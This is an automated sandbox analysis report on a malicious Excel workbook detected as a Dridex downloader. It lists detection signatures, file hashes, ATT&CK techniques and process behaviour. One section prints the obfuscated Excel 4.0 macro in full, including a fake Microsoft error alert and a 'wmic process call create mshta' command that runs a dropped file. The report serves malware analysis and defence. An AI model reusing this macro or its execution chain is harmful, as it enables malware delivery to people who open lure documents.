Windows Analysis Report Complaint details 143595.xlsb
Overview
General Information
Detection
Score: | 96 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Classification
Process Tree |
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Malware Configuration |
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No configs have been found |
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Yara Overview |
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Initial Sample |
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Source | Rule | Description | Author | Strings |
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JoeSecurity_XlsWithMacro4 | Yara detected Xls With Macro 4.0 | Joe Security |
Dropped Files |
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Source | Rule | Description | Author | Strings |
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JoeSecurity_DridexDownloader | Yara detected Dridex Downloader | Joe Security |
Sigma Overview |
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System Summary: |
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Sigma detected: Microsoft Office Product Spawning Windows Shell | Show sources |
Source: | Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: |
Sigma detected: Suspicious WMI Execution | Show sources |
Source: | Author: Michael Haag, Florian Roth, juju4, oscd.community: |
Jbx Signature Overview |
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Click to jump to signature section
AV Detection: |
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Multi AV Scanner detection for submitted file | Show sources |
Source: | ReversingLabs: |
Source: | File opened: |
Software Vulnerabilities: |
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Document exploit detected (process start blacklist hit) | Show sources |
Source: | Process created: |
Source: | String found in binary or memory: |
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: |
Source: | File created: | Jump to behavior |
Source: | Window created: |
E-Banking Fraud: |
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Yara detected Dridex Downloader | Show sources |
Source: | File source: |
System Summary: |
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Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros) | Show sources |
Source: | Screenshot OCR: | ||
Source: | Screenshot OCR: | ||
Source: | Screenshot OCR: | ||
Source: | Screenshot OCR: | ||
Source: | Screenshot OCR: | ||
Source: | Screenshot OCR: |
Found Excel 4.0 Macro with suspicious formulas | Show sources |
Source: | Initial sample: |
Found protected and hidden Excel 4.0 Macro sheet | Show sources |
Source: | Initial sample: |
Contains functionality to create processes via WMI | Show sources |
Source: | Binary or memory string: |
Found obfuscated Excel 4.0 Macro | Show sources |
Source: | Macro extractor: |
Source: | Macro extractor: |
Source: | Key opened: |
Source: | Code function: | ||
Source: | Code function: | ||
Source: | Code function: | ||
Source: | Code function: | ||
Source: | Code function: | ||
Source: | Code function: |
Source: | ReversingLabs: |
Source: | Key opened: |
Source: | Process created: | ||
Source: | Process created: | ||
Source: | Process created: | ||
Source: | Process created: |
Source: | Key value queried: |
Source: | WMI Queries: |
Source: | Binary or memory string: |
Source: | File created: | Jump to behavior |
Source: | File created: | Jump to behavior |
Source: | Classification label: |
Source: | File read: | Jump to behavior |
Source: | Key opened: |
Source: | Window detected: |
Source: | Initial sample: | ||
Source: | Initial sample: |
Source: | Key opened: |
Source: | File opened: |
Persistence and Installation Behavior: |
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Creates processes via WMI | Show sources |
Source: | WMI Queries: |
Hooking and other Techniques for Hiding and Protection: |
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Creates and opens a fake document (probably a fake document to hide exploiting) | Show sources |
Source: | Process created: | ||
Source: | Process created: |
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: |
Source: | Thread sleep time: | ||
Source: | Thread sleep time: |
Source: | File source: |
Source: | Binary or memory string: | ||
Source: | Binary or memory string: | ||
Source: | Binary or memory string: | ||
Source: | Binary or memory string: |
Source: | Queries volume information: | ||
Source: | Queries volume information: |
Source: | Key value queried: |
Mitre Att&ck Matrix |
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Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Exfiltration | Command and Control | Network Effects | Remote Service Effects | Impact |
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Valid Accounts | Windows Management Instrumentation21 | Path Interception | Process Injection2 | Masquerading1 | OS Credential Dumping | Virtualization/Sandbox Evasion1 | Remote Services | Email Collection1 | Exfiltration Over Other Network Medium | Encrypted Channel1 | Eavesdrop on Insecure Network Communication | Remotely Track Device Without Authorization | Modify System Partition |
Default Accounts | Scripting3 | Boot or Logon Initialization Scripts | Boot or Logon Initialization Scripts | Disable or Modify Tools1 | LSASS Memory | Process Discovery1 | Remote Desktop Protocol | Archive Collected Data1 | Exfiltration Over Bluetooth | Ingress Tool Transfer1 | Exploit SS7 to Redirect Phone Calls/SMS | Remotely Wipe Data Without Authorization | Device Lockout |
Domain Accounts | Exploitation for Client Execution2 | Logon Script (Windows) | Logon Script (Windows) | Virtualization/Sandbox Evasion1 | Security Account Manager | File and Directory Discovery1 | SMB/Windows Admin Shares | Clipboard Data1 | Automated Exfiltration | Steganography | Exploit SS7 to Track Device Location | Obtain Device Cloud Backups | Delete Device Data |
Local Accounts | At (Windows) | Logon Script (Mac) | Logon Script (Mac) | Process Injection2 | NTDS | System Information Discovery15 | Distributed Component Object Model | Input Capture | Scheduled Transfer | Protocol Impersonation | SIM Card Swap | Carrier Billing Fraud | |
Cloud Accounts | Cron | Network Logon Script | Network Logon Script | Scripting3 | LSA Secrets | Remote System Discovery | SSH | Keylogging | Data Transfer Size Limits | Fallback Channels | Manipulate Device Communication | Manipulate App Store Rankings or Ratings |
Behavior Graph |
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Screenshots |
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Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
Antivirus, Machine Learning and Genetic Malware Detection |
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Initial Sample |
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Source | Detection | Scanner | Label | Link |
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38% | ReversingLabs | Document-Excel.Infostealer.Dridex |
Dropped Files |
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No Antivirus matches |
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Unpacked PE Files |
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No Antivirus matches |
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Domains |
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No Antivirus matches |
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URLs |
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Source | Detection | Scanner | Label | Link |
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0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | Avira URL Cloud | safe |
Domains and IPs |
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Contacted Domains |
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No contacted domains info |
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URLs from Memory and Binaries |
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Name | Source | Malicious | Antivirus Detection | Reputation |
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false | high | |||
false | high | |||
false | high | |||
false | high | |||
false |
| low | ||
false |
| unknown | ||
false | high | |||
false |
| unknown | ||
false | high | |||
false |
| low | ||
false | high |
Contacted IPs |
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No contacted IP infos |
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General Information |
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Joe Sandbox Version: | 34.0.0 Boulder Opal |
Analysis ID: | 532579 |
Start date: | 02.12.2021 |
Start time: | 14:06:40 |
Joe Sandbox Product: | CloudBasic |
Overall analysis duration: | 0h 5m 37s |
Hypervisor based Inspection enabled: | false |
Report type: | light |
Sample file name: | Complaint details 143595.xlsb |
Cookbook file name: | defaultwindowsofficecookbook.jbs |
Analysis system description: | Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2) |
Number of analysed new started processes analysed: | 6 |
Number of new started drivers analysed: | 0 |
Number of existing processes analysed: | 0 |
Number of existing drivers analysed: | 0 |
Number of injected processes analysed: | 0 |
Technologies: |
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Analysis Mode: | default |
Analysis stop reason: | Timeout |
Detection: | MAL |
Classification: | mal96.troj.expl.evad.winXLSB@4/3@0/0 |
EGA Information: | Failed |
HDC Information: | Failed |
HCA Information: |
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Cookbook Comments: |
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Warnings: | Show All
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Simulations |
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Behavior and APIs |
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Time | Type | Description |
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14:07:47 | API Interceptor | |
14:07:48 | API Interceptor |
Joe Sandbox View / Context |
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Created / dropped Files |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 4860 |
Entropy (8bit): | 5.077314823774821 |
Encrypted: | false |
SSDEEP: | 96:KeCWYe46RfZJNEp/491/KjxqfF29ldUQByEQmjuVoI3RfDMUL:KeCFezhZJNEp/491/KVOF25UQp9uiI3r |
MD5: | 49260A7E1DE719025128C72993301DED |
SHA1: | BC80B798A2696B823D18588EB0AB6FEBF2A02F87 |
SHA-256: | B625DC085D39BC8CDDA7C4277CFA755B4DAA7052701AB9DF16CAC86FC99EAEBE |
SHA-512: | 60D40005155EAF790F5D20ECEE68B89D89D6512EB46E0CF03353BAE5F2EC2050F96F04161C41B2C0C23496F0212D3AB3CDF875034A31740CFAD0CE0EC7BFD0E7 |
Malicious: | true |
Yara Hits: |
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Reputation: | low |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 69191 |
Entropy (8bit): | 7.944286664628326 |
Encrypted: | false |
SSDEEP: | 1536:6fn2pc8EJ8flXchmJQL08Kt2G2G6yv/3GAohPG+rLzrLZu00izn:C2pjE2pWmWfBG7DHG5hpnk0r |
MD5: | E1D0A03A4956FF80068F5297E2C4AC15 |
SHA1: | D59E49A3FD454D9A66CF4F847E1D727CE8A85D0D |
SHA-256: | D5A8E7A4BB9D2D6888D2B8BF585C9B7694270C2B41E81A7A3D0D36A291D8AB73 |
SHA-512: | 91C1CEC41468FB589D5AF5FEC969B67F55C15990B14B2E5D77D1BA8037A6C404332B517A8F73EA59BDD0D982C75734F3AAEB0E7A92363C1E1DA3B5B92F35E062 |
Malicious: | false |
Reputation: | low |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 165 |
Entropy (8bit): | 1.4377382811115937 |
Encrypted: | false |
SSDEEP: | 3:vZ/FFDJw2fV:vBFFGS |
MD5: | 797869BB881CFBCDAC2064F92B26E46F |
SHA1: | 61C1B8FBF505956A77E9A79CE74EF5E281B01F4B |
SHA-256: | D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185 |
SHA-512: | 1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D |
Malicious: | true |
Reputation: | high, very likely benign file |
Preview: |
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Static File Info |
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General | |
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File type: | |
Entropy (8bit): | 7.884142319689223 |
TrID: |
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File name: | Complaint details 143595.xlsb |
File size: | 97313 |
MD5: | 91eca239ee8b604f18f6fb1ed6cde135 |
SHA1: | 78c47637b513d11ba6c36b19b9d79f7ee7a86338 |
SHA256: | 4dea495d5c1c5e0cb56677608b5efa53658cc20bb836f9cccd2aa1092b573aa8 |
SHA512: | 215309e43413c0af9f253c6a4afad0976ff5b5dc808ac97d3f1a418b3ab0edb36e5e3f818037cc8df955e40ed29acdcfb6a4e58966f53f799dd7911b313b0664 |
SSDEEP: | 1536:8pWBzMgiCxKNyqJfn2pc8EJ8flXchmJQL08Kt2G2G6yv/3GAohPG+rLzrLZu00io:b9ne2pjE2pWmWfBG7DHG5hpnk0lcbdA2 |
File Content Preview: | PK..........!.m\.%............[Content_Types].xml ...(......................................................................................................................................................................................................... |
File Icon |
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Icon Hash: | e4e2ea8aa4b4b4b4 |
Static OLE Info |
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General | ||
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Document Type: | OpenXML | |
Number of OLE Files: | 1 |
OLE File "Complaint details 143595.xlsb" |
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Indicators | |
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Has Summary Info: | |
Application Name: | |
Encrypted Document: | |
Contains Word Document Stream: | |
Contains Workbook/Book Stream: | |
Contains PowerPoint Document Stream: | |
Contains Visio Document Stream: | |
Contains ObjectPool Stream: | |
Flash Objects Count: | |
Contains VBA Macros: |
Macro 4.0 Code |
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0,564,=FOPEN(CHAR(67) & CHAR(58) & CHAR(92) & "Prog" & CHAR(114) & CHAR(97) & "mDa" & CHAR(116) & CHAR(97) & CHAR(92) & "KBjfh" & CHAR(102) & "mo" & CHAR(71) & "RoN.rt" & CHAR(102), 3) 7,564,=A6189+C9603 8,564,=D2684+D9691 10,564,=A6103+C5387 12,564,=B5737+B5514 13,564,=FOR.CELL("aeUnTBjEWBNUVm",Sheet1!BR170:CI439, TRUE) 14,564,=C7642+A4455 19,564,=B5077+A276 21,564,=C2893+D6211 25,564,=D6944+B9715 26,564,=FWRITE(0,CHAR(aeUnTBjEWBNUVm)) 31,564,=D7800+A554 33,564,=A4093+A2809 34,564,=D9290+B3087 37,564,=D363+C9448 38,564,=NEXT() 39,564,=D4014+C679 40,564,=C675+D6066 41,564,=A5007+A7167 44,564,=B560+C788 45,564,=B1641+D2073 46,564,=D5403+A8065 47,564,=D142+D8621 52,564,=ALERT(CHAR(69) & "rror!" & CHAR(32) & CHAR(83) & "endin" & CHAR(103) & " rep" & CHAR(111) & "rt to" & CHAR(32) & "Microsoft...") 54,564,=D8970+A8840 55,564,=B2305+A8466 56,564,=C775+D1343 58,564,=A3649+B506 59,564,=D6903+B9200 60,564,=C8055+A9279 61,564,=D7261+A3173 64,564,=EXEC("wmic p" & CHAR(114) & "ocess ca" & CHAR(108) & "l c" & CHAR(114) & "eate " & CHAR(34) & "msh" & CHAR(116) & "a C:\ProgramData\KBjfhfmoGRo" & CHAR(78) & ".rtf" & CHAR(34)) 65,564,=D5683+C3157 66,564,=C3674+C336 69,564,=D7419+B1194 70,564,=C2221+C5301 74,564,=RETURN()
Network Behavior |
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No network behavior found |
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Code Manipulations |
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Statistics |
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Behavior |
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Click to jump to process
System Behavior |
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General |
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Start time: | 14:07:21 |
Start date: | 02/12/2021 |
Path: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x13f470000 |
File size: | 28253536 bytes |
MD5 hash: | D53B85E21886D2AF9815C377537BCAC3 |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
General |
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Start time: | 14:07:46 |
Start date: | 02/12/2021 |
Path: | C:\Windows\System32\wbem\WMIC.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0xffa00000 |
File size: | 566272 bytes |
MD5 hash: | FD902835DEAEF4091799287736F3A028 |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
General |
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Start time: | 14:07:47 |
Start date: | 02/12/2021 |
Path: | C:\Windows\System32\mshta.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x13f840000 |
File size: | 13824 bytes |
MD5 hash: | 95828D670CFD3B16EE188168E083C3C5 |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Disassembly |
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Code Analysis |
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